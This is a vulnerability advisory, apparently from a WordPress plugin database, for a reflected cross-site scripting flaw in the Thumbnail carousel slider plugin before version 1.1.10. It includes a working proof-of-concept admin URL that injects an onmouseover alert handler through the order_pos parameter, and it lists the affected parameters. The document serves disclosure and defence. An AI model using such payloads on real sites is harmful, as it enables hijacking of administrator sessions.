WordPress Plugin Vulnerabilities

Thumbnail carousel slider < 1.1.10 - Reflected XSS

Description

The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting vulnerability which could be used against high privilege users such as admin.

Proof of Concept

Make a logged in admin open: GET /wp-admin/admin.php?page=responsive_thumbnail_slider_image_management&order_by=title&order_pos=uqxt1%22%20onmouseover%3dalert(1)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20cxz0m
 
Affected parameters: order_by, order_pos, and search_term

Affects Plugins

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Chien Vuong
Submitter
Chien Vuong
Verified
Yes

Timeline

Publicly Published
2023-04-18 (about 1 years ago)
Added
2023-04-18 (about 1 years ago)
Last Updated
2023-04-18 (about 1 years ago)

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